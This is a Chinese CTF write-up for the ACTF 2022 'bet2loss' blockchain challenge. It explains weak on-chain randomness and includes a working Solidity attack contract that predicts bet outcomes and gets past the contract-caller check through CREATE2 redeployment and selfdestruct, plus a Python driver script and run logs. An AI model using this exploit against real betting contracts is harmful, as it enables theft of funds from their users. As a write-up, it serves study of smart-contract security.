ACTF 2022 Blockchain Writeup

前言

ACTF 2022 Blockchain方向共有三道题,题目质量相比于我之前参加的一些比赛来说是比较高的,贴近现实世界中的真实场景,由于Weird EVM这题偏向密码学而我对这方面不太擅长,所以最后只做出了bet2lossAAADAO这两题,下面讲解一下思路。

解题脚本用到了我的Poseidon库(v1.0.1),同时由于题目环境禁用了EIP1559形式的交易(或部分相关API),在使用最新版web3py时需修改其中的_utils/transactions.py,否则在buildTransaction时会报错,具体改动如下:

23

另外有个知识点可能有些朋友还不知道,就是在Solidity 0.8.0版本之后,编译出来的合约是自带整型溢出保护的,所以以后看到高于这个版本的,就不要考虑整型溢出漏洞了。

bet2loss

题目描述

1

题目附件

解题过程

(这题除了常规的纯区块链解法外似乎还有一种Web解法,我用的是常规解法。)

这题考察的是随机数预测CREATE2,在链上要想获得真正的随机数是一件十分困难的事情(可以使用预言机,如ChainLink,但过程也并不简便),以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且是以一种可计算的方式进行,这意味着它没有任何的不确定性更一般地说,在区块链生态系统内,不存在熵或随机性的来源。如果使用可以被矿工所控制的变量,如区块哈希值,时间戳,区块高低或是Gas上限等作为随机数的熵源,产生的随机数并不安全,因为其他人也可以很轻松地获取到这些值,并根据同样的方法生成所谓的随机数,从而攻击那些不安全的合约函数。而通过CREATE2,我们可以在合约部署之前计算出合约的地址,并且能够实现在同一地址上多次部署合约,这为我们解题提供了关键条件。

首先访问一下30000端口处dApp,发现提供了一些基本信息如游戏合约地址,大致意思是我们的账户可以通过Airdrop获得Bet的启动资金,然后有20次Bet的机会,当我们账户的Token Balance大于一定阈值时就可以通过Check并得到flag。但实际上光靠猜几乎是不可能达成条件的,我们需要在链上进行操作。

2

3

注意到bet2loss_dockerv\routes\flag.js中的上图所示部分,Check时要求POST过来的address不能为出题人地址,然后通过游戏合约checkWin函数进行判断,若该函数调用成功,即代表我们的账户满足条件,就可以获得flag

接下来看到bet.sol

4

每个账户可以调用一次airdrop函数来获得30的启动资金,由于transferTo函数没有实现,所以无法通过薅羊毛的方式达成条件,而获胜条件是账户余额大于2000

5

首先前面三个require要求:

  • 不能在同一个区块内多次调用bet
  • mod只能在[2,12]范围内
  • 每个账户最多只能调用20次bet

其次是要求调用bet的账户不能是合约,这一段是可以通过CREATE2在同一地址上多次部署合约来绕过的,后面再深入讲解。

再然后是rand的生成,这里用到了nonceblock.timestampblock.difficultymsg.sender,其中nonce是该合约的private变量,需要在外部通过getStorageAt来读取并传给攻击合约,其余三个都是链上变量,只要在同一区块内,任何合约读到的这些内容都是一致的,所以可以对随机数进行预测,从而百猜百中。

以下是攻击合约Hacker.sol的代码:

pragma solidity ^0.8.0;

import "./bet.sol";

contract Hacker {
    constructor(address target, uint256 mod) public {
        BigHacker b = BigHacker(msg.sender);
        uint256 nonce = b.nonce();
        uint256 value = 0;
        BetToken t = BetToken(target);
        if (t.balances(address(this)) == 0) {
            t.airdrop();
        }
        value = Hack(nonce, mod);
        t.bet(value, mod);
        selfdestruct(payable(msg.sender));
    }

    function Hack(uint256 nonce, uint256 mod) public view returns (uint256) {
        uint256 rand = uint256(
            keccak256(
                abi.encodePacked(
                    nonce,
                    block.timestamp,
                    block.difficulty,
                    address(this)
                )
            )
        ) % mod;
        return rand;
    }
}

contract BigHacker {
    address public a;
    bytes32 public s = hex"42";
    uint256 public nonce;

    constructor(uint256 _nonce) public {
        nonce = _nonce;
    }

    function Hack(address target, uint256 mod) public {
        a = address(new Hacker{salt: s}(target, mod));
        nonce++;
    }
}

我们要部署的是BigHacker合约,在部署时传入在外部读取到的nonce值,然后通过多次调用Hack函数创建攻击子合约进行bet,原理是通过CREATE2selfdestruct可以在同一地址上反复创建合约,为了绕过bet禁止合约调用的检查,需要在constructor内进行调用,因为此时攻击子合约的地址上是没有code的,能够通过检查,这样我们就可以借助合约预测随机数并进行bet,最后通过selfdestruct销毁自身的代码,以便后续还能够通过CREATE2进行部署(不自毁的话,该地址上将保留code,后续CREATE2将会失败),这样经过大概18次后,攻击子合约账户上的余额就大于2000了,直接访问题目接口进行Check就可以获得flag

下面是链上交互脚本bet2loss.py的代码:

from Poseidon_Blockchain import *
from loguru import logger
import requests

# 日志
logger.add('bet2loss_{time}.log')

# 配置Solidity版本
Utils.SwitchSolidityVersion("0.8.0")

# 连接至链
chain = Chain("http://123.60.36.208:8545/")

# 使用私钥导入账户(私钥使用工具随机生成)
account = Account(chain, "<Private Key>")

# 领取测试币
faucetHash = requests.post("http://123.60.36.208:8080/api/claim", data={"address": account.Address}).text
chain.Net.eth.wait_for_transaction_receipt(faucetHash, timeout=180)
account.GetSelfBalance()

# 题目合约地址规范化
exerciseContractAddress = Web3.toChecksumAddress("0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7")

# 编译题目合约
abi, bytecode = Utils.CompileSolidityToABIAndBytecode("bet.sol", "BetToken")

# 实例化题目合约
exerciseContract = Contract(account, exerciseContractAddress, abi)

# 编译攻击合约
abi, bytecode = Utils.CompileSolidityToABIAndBytecode("Hacker.sol", "BigHacker")

# 读nonce
nonce = int(chain.GetStorage(exerciseContractAddress, 2), 16)

# 部署攻击合约
hackerAddress, hacker = account.DeployContract(abi, bytecode, 0, nonce)

# 开始猜解
for i in range(20):
    hacker.CallFunction("Hack", exerciseContractAddress, 12)
    final = hacker.ReadOnlyCallFunction("a")
    balance = exerciseContract.ReadOnlyCallFunction("balances", final)
    
    # 提交
    if balance > 2000:
        print(requests.post("http://123.60.36.208:30000/flag", data={"address": final}).text)
        logger.success("Execution completed.")
        break

运行日志如下:

2022-06-25 13:23:03.691 | SUCCESS  | Poseidon_Blockchain:SwitchSolidityVersion:362 - 
[SwitchSolidityVersion]Current Version:0.8.0
2022-06-25 13:23:03.758 | SUCCESS  | Poseidon_Blockchain:__init__:16 - 
[ConnectToChain]Successfully connected to [http://123.60.36.208:8545/].
2022-06-25 13:23:03.891 | ERROR    | Poseidon_Blockchain:GetBasicInformation:34 - 
[BasicInformation]Failed to get basic information.
2022-06-25 13:23:04.052 | ERROR    | Poseidon_Blockchain:GetBlockInformation:50 - 
[BlockInformation]Failed to get block [latest] information.
2022-06-25 13:23:04.079 | SUCCESS  | Poseidon_Blockchain:__init__:158 - 
[ImportAccount]Successfully import account [0x4A436F11b0E3933194d3c1e41457eb34e482F819].
2022-06-25 13:23:04.116 | SUCCESS  | Poseidon_Blockchain:GetBalance:114 - 
[GetBalance][0x4A436F11b0E3933194d3c1e41457eb34e482F819]
[0 Wei]<=>[0 Ether]
2022-06-25 13:23:04.119 | WARNING  | Poseidon_Blockchain:GetSelfBalance:167 - 
[GetSelfBalance]Warning: This account's balance is insufficient to pay transactions fee.
2022-06-25 13:23:19.752 | SUCCESS  | Poseidon_Blockchain:GetBalance:114 - 
[GetBalance][0x4A436F11b0E3933194d3c1e41457eb34e482F819]
[1000000000000000000 Wei]<=>[1 Ether]
2022-06-25 13:23:19.858 | SUCCESS  | Poseidon_Blockchain:CompileSolidityToABIAndBytecode:386 - 
[CompileContract]Success.
[FileCourse]bet.sol
[ContractName]BetToken
[ABI][{'inputs': [], 'stateMutability': 'nonpayable', 'type': 'constructor'}, {'inputs': [], 'name': 'airdrop', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'name': 'airdroprecord', 'outputs': [{'internalType': 'bool', 'name': '', 'type': 'bool'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'name': 'balances', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [{'internalType': 'uint256', 'name': 'value', 'type': 'uint256'}, {'internalType': 'uint256', 'name': 'mod', 'type': 'uint256'}], 'name': 'bet', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'internalType': 'address', 'name': 'candidate', 'type': 'address'}], 'name': 'checkWin', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'name': 'logger', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [{'internalType': 'address', 'name': 'to', 'type': 'address'}, {'internalType': 'uint256', 'name': 'amount', 'type': 'uint256'}], 'name': 'seal', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'internalType': 'address', 'name': 'to', 'type': 'address'}, {'internalType': 'uint256', 'name': 'amount', 'type': 'uint256'}], 'name': 'transferTo', 'outputs': [], 'stateMutability': 'pure', 'type': 'function'}]
[Bytecode]608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620186a0600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600281905550600a60038190555042600481905550610f79806100be6000396000f3fe608060405234801561001057600080fd5b50600436106100885760003560e01c806399866a971161005b57806399866a97146100ff578063b49548c21461012f578063ced7d6ba1461015f578063e7a338221461017b57610088565b806327e235e31461008d5780632ccb1b30146100bd5780633884d635146100d95780636ffcc719146100e3575b600080fd5b6100a760048036038101906100a29190610997565b610197565b6040516100b49190610cf3565b60405180910390f35b6100d760048036038101906100d291906109c0565b6101af565b005b6100e16101f6565b005b6100fd60048036038101906100f891906109fc565b61033a565b005b61011960048036038101906101149190610997565b6105af565b6040516101269190610cf3565b60405180910390f35b61014960048036038101906101449190610997565b6105c7565b6040516101569190610c38565b60405180910390f35b61017960048036038101906101749190610997565b6105e7565b005b610195600480360381019061019091906109c0565b610885565b005b60016020528060005260406000206000915090505481565b600081146101f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e990610c53565b60405180910390fd5b5050565b60001515600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610289576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161028090610cd3565b60405180910390fd5b6001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601e600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546103319190610d1f565b92505081905550565b600033905042600454141561034e57600080fd5b600282101580156103605750600c8211155b61036957600080fd5b6014600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156103b657600080fd5b6001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546104069190610d1f565b92505081905550600354600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561045b57600080fd5b600354600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546104ac9190610dcf565b9250508190555081836104bf9190610e79565b92506000813b905060008163ffffffff16146104da57600080fd5b6000836002544244336040516020016104f69493929190610bea565b6040516020818303038152906040528051906020012060001c6105199190610e79565b905060016002600082825461052e9190610d1f565b9250508190555042600481905550808514156105a857836003546105529190610d75565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a09190610d1f565b925050819055505b5050505050565b60066020528060005260406000206000915090505481565b60056020528060005260406000206000915054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066c90610c73565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb90610c93565b60405180910390fd5b6107d0600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077e90610cb3565b60405180910390fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108369190610d1f565b925050819055506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090a90610c73565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109629190610d1f565b925050819055505050565b60008135905061097c81610f15565b92915050565b60008135905061099181610f2c565b92915050565b6000602082840312156109a957600080fd5b60006109b78482850161096d565b91505092915050565b600080604083850312156109d357600080fd5b60006109e18582860161096d565b92505060206109f285828601610982565b9150509250929050565b60008060408385031215610a0f57600080fd5b6000610a1d85828601610982565b9250506020610a2e85828601610982565b9150509250929050565b610a49610a4482610e03565b610e4b565b82525050565b610a5881610e15565b82525050565b6000610a6b602483610d0e565b91507f746869732066756e6374696f6e206973206e6f7420696d70656c6d656e74656460008301527f20796574000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ad1601183610d0e565b91507f796f7520617265206e6f74206f776e65720000000000000000000000000000006000830152602082019050919050565b6000610b11601083610d0e565b91507f796f7520617265206368656174696e67000000000000000000000000000000006000830152602082019050919050565b6000610b51601183610d0e565b91507f796f75207374696c6c206e6f742077696e0000000000000000000000000000006000830152602082019050919050565b6000610b91601b83610d0e565b91507f796f7520616c726561647920676f7420796f757220616972646f7000000000006000830152602082019050919050565b610bcd81610e41565b82525050565b610be4610bdf82610e41565b610e6f565b82525050565b6000610bf68287610bd3565b602082019150610c068286610bd3565b602082019150610c168285610bd3565b602082019150610c268284610a38565b60148201915081905095945050505050565b6000602082019050610c4d6000830184610a4f565b92915050565b60006020820190508181036000830152610c6c81610a5e565b9050919050565b60006020820190508181036000830152610c8c81610ac4565b9050919050565b60006020820190508181036000830152610cac81610b04565b9050919050565b60006020820190508181036000830152610ccc81610b44565b9050919050565b60006020820190508181036000830152610cec81610b84565b9050919050565b6000602082019050610d086000830184610bc4565b92915050565b600082825260208201905092915050565b6000610d2a82610e41565b9150610d3583610e41565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610d6a57610d69610eaa565b5b828201905092915050565b6000610d8082610e41565b9150610d8b83610e41565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610dc457610dc3610eaa565b5b828202905092915050565b6000610dda82610e41565b9150610de583610e41565b925082821015610df857610df7610eaa565b5b828203905092915050565b6000610e0e82610e21565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610e5682610e5d565b9050919050565b6000610e6882610f08565b9050919050565b6000819050919050565b6000610e8482610e41565b9150610e8f83610e41565b925082610e9f57610e9e610ed9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160601b9050919050565b610f1e81610e03565b8114610f2957600080fd5b50565b610f3581610e41565b8114610f4057600080fd5b5056fea2646970667358221220f7f9536f39866b97c0d1abf682a2548894b5c7534cd1de23e767d68dc9fc1afd64736f6c63430008000033
2022-06-25 13:23:19.878 | SUCCESS  | Poseidon_Blockchain:__init__:321 - 
[InstantiateContract]Successfully instantiated contract [0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]. 
2022-06-25 13:23:20.038 | SUCCESS  | Poseidon_Blockchain:CompileSolidityToABIAndBytecode:386 - 
[CompileContract]Success.
[FileCourse]Hacker.sol
[ContractName]BigHacker
[ABI][{'inputs': [{'internalType': 'uint256', 'name': '_nonce', 'type': 'uint256'}], 'stateMutability': 'nonpayable', 'type': 'constructor'}, {'inputs': [{'internalType': 'address', 'name': 'target', 'type': 'address'}, {'internalType': 'uint256', 'name': 'mod', 'type': 'uint256'}], 'name': 'Hack', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [], 'name': 'a', 'outputs': [{'internalType': 'address', 'name': '', 'type': 'address'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 'nonce', 'outputs': [{'internalType': 'uint256', 'name': '', 'type': 'uint256'}], 'stateMutability': 'view', 'type': 'function'}, {'inputs': [], 'name': 's', 'outputs': [{'internalType': 'bytes32', 'name': '', 'type': 'bytes32'}], 'stateMutability': 'view', 'type': 'function'}]
[Bytecode]60806040527f420000000000000000000000000000000000000000000000000000000000000060015534801561003457600080fd5b506040516109e63803806109e683398181016040528101906100569190610078565b80600281905550506100c2565b600081519050610072816100ab565b92915050565b60006020828403121561008a57600080fd5b600061009884828501610063565b91505092915050565b6000819050919050565b6100b4816100a1565b81146100bf57600080fd5b50565b610915806100d16000396000f3fe60806040523480156200001157600080fd5b5060043610620000525760003560e01c80630dbe671f146200005757806323135e70146200007957806386b714e21462000099578063affed0e014620000bb575b600080fd5b62000061620000dd565b6040516200007091906200025c565b60405180910390f35b620000976004803603810190620000919190620001e8565b62000101565b005b620000a3620001a0565b604051620000b29190620002a6565b60405180910390f35b620000c5620001a6565b604051620000d49190620002c3565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015482826040516200011490620001ac565b6200012192919062000279565b8190604051809103906000f590508015801562000142573d6000803e3d6000fd5b506000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060026000815480929190620001979062000328565b91905055505050565b60015481565b60025481565b61050680620003da83390190565b600081359050620001cb81620003a5565b92915050565b600081359050620001e281620003bf565b92915050565b60008060408385031215620001fc57600080fd5b60006200020c85828601620001ba565b92505060206200021f85828601620001d1565b9150509250929050565b6200023481620002e0565b82525050565b6200024581620002f4565b82525050565b62000256816200031e565b82525050565b600060208201905062000273600083018462000229565b92915050565b600060408201905062000290600083018562000229565b6200029f60208301846200024b565b9392505050565b6000602082019050620002bd60008301846200023a565b92915050565b6000602082019050620002da60008301846200024b565b92915050565b6000620002ed82620002fe565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600062000335826200031e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156200036b576200036a62000376565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b620003b081620002e0565b8114620003bc57600080fd5b50565b620003ca816200031e565b8114620003d657600080fd5b5056fe608060405234801561001057600080fd5b50604051610506380380610506833981810160405281019061003291906102bd565b600033905060008173ffffffffffffffffffffffffffffffffffffffff1663affed0e06040518163ffffffff1660e01b815260040160206040518083038186803b15801561007f57600080fd5b505afa158015610093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100b791906102f9565b905060008085905060008173ffffffffffffffffffffffffffffffffffffffff166327e235e3306040518263ffffffff1660e01b81526004016100fa91906103bc565b60206040518083038186803b15801561011257600080fd5b505afa158015610126573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061014a91906102f9565b14156101b1578073ffffffffffffffffffffffffffffffffffffffff16633884d6356040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561019857600080fd5b505af11580156101ac573d6000803e3d6000fd5b505050505b6101c1838661024960201b60201c565b91508073ffffffffffffffffffffffffffffffffffffffff16636ffcc71983876040518363ffffffff1660e01b81526004016101fe9291906103d7565b600060405180830381600087803b15801561021857600080fd5b505af115801561022c573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16ff5b6000808284424430604051602001610264949392919061036e565b6040516020818303038152906040528051906020012060001c610287919061046a565b90508091505092915050565b6000815190506102a2816104d7565b92915050565b6000815190506102b7816104ee565b92915050565b600080604083850312156102d057600080fd5b60006102de85828601610293565b92505060206102ef858286016102a8565b9150509250929050565b60006020828403121561030b57600080fd5b6000610319848285016102a8565b91505092915050565b61032b81610400565b82525050565b61034261033d82610400565b61043c565b82525050565b61035181610432565b82525050565b61036861036382610432565b610460565b82525050565b600061037a8287610357565b60208201915061038a8286610357565b60208201915061039a8285610357565b6020820191506103aa8284610331565b60148201915081905095945050505050565b60006020820190506103d16000830184610322565b92915050565b60006040820190506103ec6000830185610348565b6103f96020830184610348565b9392505050565b600061040b82610412565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006104478261044e565b9050919050565b6000610459826104ca565b9050919050565b6000819050919050565b600061047582610432565b915061048083610432565b9250826104905761048f61049b565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160601b9050919050565b6104e081610400565b81146104eb57600080fd5b50565b6104f781610432565b811461050257600080fd5b5056fea264697066735822122000c232f8f59875a29d67462e06a9977e1dbcb0be0ce727c53417045b98a46bbd64736f6c63430008000033
2022-06-25 13:23:20.082 | SUCCESS  | Poseidon_Blockchain:GetStorage:132 - 
[GetStorage][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7][2]
[Hex][0x0000000000000000000000000000000000000000000000000000000000000008]<=>[Dec][8]
2022-06-25 13:23:20.327 | INFO     | Poseidon_Blockchain:DeployContract:246 - 
[DeployContract][Traditional]
[TransactionHash]0x20aa22bc27add7f13f97919de0be90a926370b61b89b9be3a8c0d2ed2665b412
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'nonce': 0, 'value': 0, 'data': '0x60806040527f420000000000000000000000000000000000000000000000000000000000000060015534801561003457600080fd5b506040516109e63803806109e683398181016040528101906100569190610078565b80600281905550506100c2565b600081519050610072816100ab565b92915050565b60006020828403121561008a57600080fd5b600061009884828501610063565b91505092915050565b6000819050919050565b6100b4816100a1565b81146100bf57600080fd5b50565b610915806100d16000396000f3fe60806040523480156200001157600080fd5b5060043610620000525760003560e01c80630dbe671f146200005757806323135e70146200007957806386b714e21462000099578063affed0e014620000bb575b600080fd5b62000061620000dd565b6040516200007091906200025c565b60405180910390f35b620000976004803603810190620000919190620001e8565b62000101565b005b620000a3620001a0565b604051620000b29190620002a6565b60405180910390f35b620000c5620001a6565b604051620000d49190620002c3565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015482826040516200011490620001ac565b6200012192919062000279565b8190604051809103906000f590508015801562000142573d6000803e3d6000fd5b506000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060026000815480929190620001979062000328565b91905055505050565b60015481565b60025481565b61050680620003da83390190565b600081359050620001cb81620003a5565b92915050565b600081359050620001e281620003bf565b92915050565b60008060408385031215620001fc57600080fd5b60006200020c85828601620001ba565b92505060206200021f85828601620001d1565b9150509250929050565b6200023481620002e0565b82525050565b6200024581620002f4565b82525050565b62000256816200031e565b82525050565b600060208201905062000273600083018462000229565b92915050565b600060408201905062000290600083018562000229565b6200029f60208301846200024b565b9392505050565b6000602082019050620002bd60008301846200023a565b92915050565b6000602082019050620002da60008301846200024b565b92915050565b6000620002ed82620002fe565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600062000335826200031e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156200036b576200036a62000376565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b620003b081620002e0565b8114620003bc57600080fd5b50565b620003ca816200031e565b8114620003d657600080fd5b5056fe608060405234801561001057600080fd5b50604051610506380380610506833981810160405281019061003291906102bd565b600033905060008173ffffffffffffffffffffffffffffffffffffffff1663affed0e06040518163ffffffff1660e01b815260040160206040518083038186803b15801561007f57600080fd5b505afa158015610093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100b791906102f9565b905060008085905060008173ffffffffffffffffffffffffffffffffffffffff166327e235e3306040518263ffffffff1660e01b81526004016100fa91906103bc565b60206040518083038186803b15801561011257600080fd5b505afa158015610126573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061014a91906102f9565b14156101b1578073ffffffffffffffffffffffffffffffffffffffff16633884d6356040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561019857600080fd5b505af11580156101ac573d6000803e3d6000fd5b505050505b6101c1838661024960201b60201c565b91508073ffffffffffffffffffffffffffffffffffffffff16636ffcc71983876040518363ffffffff1660e01b81526004016101fe9291906103d7565b600060405180830381600087803b15801561021857600080fd5b505af115801561022c573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16ff5b6000808284424430604051602001610264949392919061036e565b6040516020818303038152906040528051906020012060001c610287919061046a565b90508091505092915050565b6000815190506102a2816104d7565b92915050565b6000815190506102b7816104ee565b92915050565b600080604083850312156102d057600080fd5b60006102de85828601610293565b92505060206102ef858286016102a8565b9150509250929050565b60006020828403121561030b57600080fd5b6000610319848285016102a8565b91505092915050565b61032b81610400565b82525050565b61034261033d82610400565b61043c565b82525050565b61035181610432565b82525050565b61036861036382610432565b610460565b82525050565b600061037a8287610357565b60208201915061038a8286610357565b60208201915061039a8285610357565b6020820191506103aa8284610331565b60148201915081905095945050505050565b60006020820190506103d16000830184610322565b92915050565b60006040820190506103ec6000830185610348565b6103f96020830184610348565b9392505050565b600061040b82610412565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006104478261044e565b9050919050565b6000610459826104ca565b9050919050565b6000819050919050565b600061047582610432565b915061048083610432565b9250826104905761048f61049b565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160601b9050919050565b6104e081610400565b81146104eb57600080fd5b50565b6104f781610432565b811461050257600080fd5b5056fea264697066735822122000c232f8f59875a29d67462e06a9977e1dbcb0be0ce727c53417045b98a46bbd64736f6c634300080000330000000000000000000000000000000000000000000000000000000000000008', 'gas': 596066, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:23:49.761 | SUCCESS  | Poseidon_Blockchain:DeployContract:254 - 
[ConfirmDeploy][Success]
[TransactionHash]0x20aa22bc27add7f13f97919de0be90a926370b61b89b9be3a8c0d2ed2665b412
[BlockNumber]634 [GasUsed]596066
[Logs][]
[ContractAddress]0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb
2022-06-25 13:23:49.771 | SUCCESS  | Poseidon_Blockchain:__init__:321 - 
[InstantiateContract]Successfully instantiated contract [0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]. 
2022-06-25 13:23:49.876 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]184901
2022-06-25 13:23:50.021 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0xd392018a731f02adecd05b07e6ddc0d8ea8b52256e78b9a9318b86e570ee51de
[Txn]{'from': '0x4A436F11b0E3933194d3c1e41457eb34e482F819', 'to': '0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb', 'nonce': 1, 'value': 0, 'data': '0x23135e7000000000000000000000000021ac0df70a628cdb042dde6f4eb6cf49bde00ff7000000000000000000000000000000000000000000000000000000000000000c', 'gas': 184901, 'gasPrice': 60000000000, 'chainId': 6666}
2022-06-25 13:24:19.753 | SUCCESS  | Poseidon_Blockchain:SendTransaction:191 - 
[ConfirmTransaction][Traditional][Success]
[TransactionHash]0xd392018a731f02adecd05b07e6ddc0d8ea8b52256e78b9a9318b86e570ee51de
[BlockNumber]635 [GasUsed]160901
[Logs][]
2022-06-25 13:24:19.825 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]a()
[Result]0x465B9CbD329A516894E08B9e960Fa3f525B67acA
2022-06-25 13:24:19.895 | SUCCESS  | Poseidon_Blockchain:ReadOnlyCallFunction:341 - 
[CallFunction][ReadOnly][0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7]
[Function]balances('0x465B9CbD329A516894E08B9e960Fa3f525B67acA',)
[Result]140
2022-06-25 13:24:20.003 | INFO     | Poseidon_Blockchain:CallFunction:328 - 
[CallFunction][Traditional][0xeCa44e6C644b28F04e5EcbDa2f70BB79e2e3CdFb]
[Function]Hack('0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7', 12)
[Value]0 [Gas]110426
2022-06-25 13:24:20.147 | INFO     | Poseidon_Blockchain:SendTransaction:184 - 
[SendTransaction][Traditional]
[TransactionHash]0xf2a233cddda075012c109b63c1a467d5a38c3a837ee5de88065bba33783e87ac
